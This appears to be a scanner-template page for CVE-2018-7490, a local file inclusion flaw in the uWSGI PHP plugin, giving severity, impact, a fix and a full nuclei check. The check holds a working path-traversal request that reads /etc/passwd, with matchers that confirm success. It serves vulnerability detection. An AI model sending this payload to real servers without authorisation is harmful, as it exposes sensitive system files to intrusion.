uWSGI PHP Plugin Local File Inclusion

highseverity

7.5CVSS score

69.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-7490 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-7490

info:
  name: uWSGI PHP Plugin Local File Inclusion
  author: madrobot
  severity: high
  description: uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
  reference:
    - https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
    - https://www.exploit-db.com/exploits/44223/
    - https://www.debian.org/security/2018/dsa-4142
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7490
    - https://github.com/jweny/pocassistdb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-7490
    cwe-id: CWE-22
    epss-score: 0.69423
    epss-percentile: 0.99365
    cpe: cpe:2.3:a:unbit:uwsgi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: unbit
    product: uwsgi
  tags: cve2018,cve,uwsgi,php,lfi,plugin,edb,unbit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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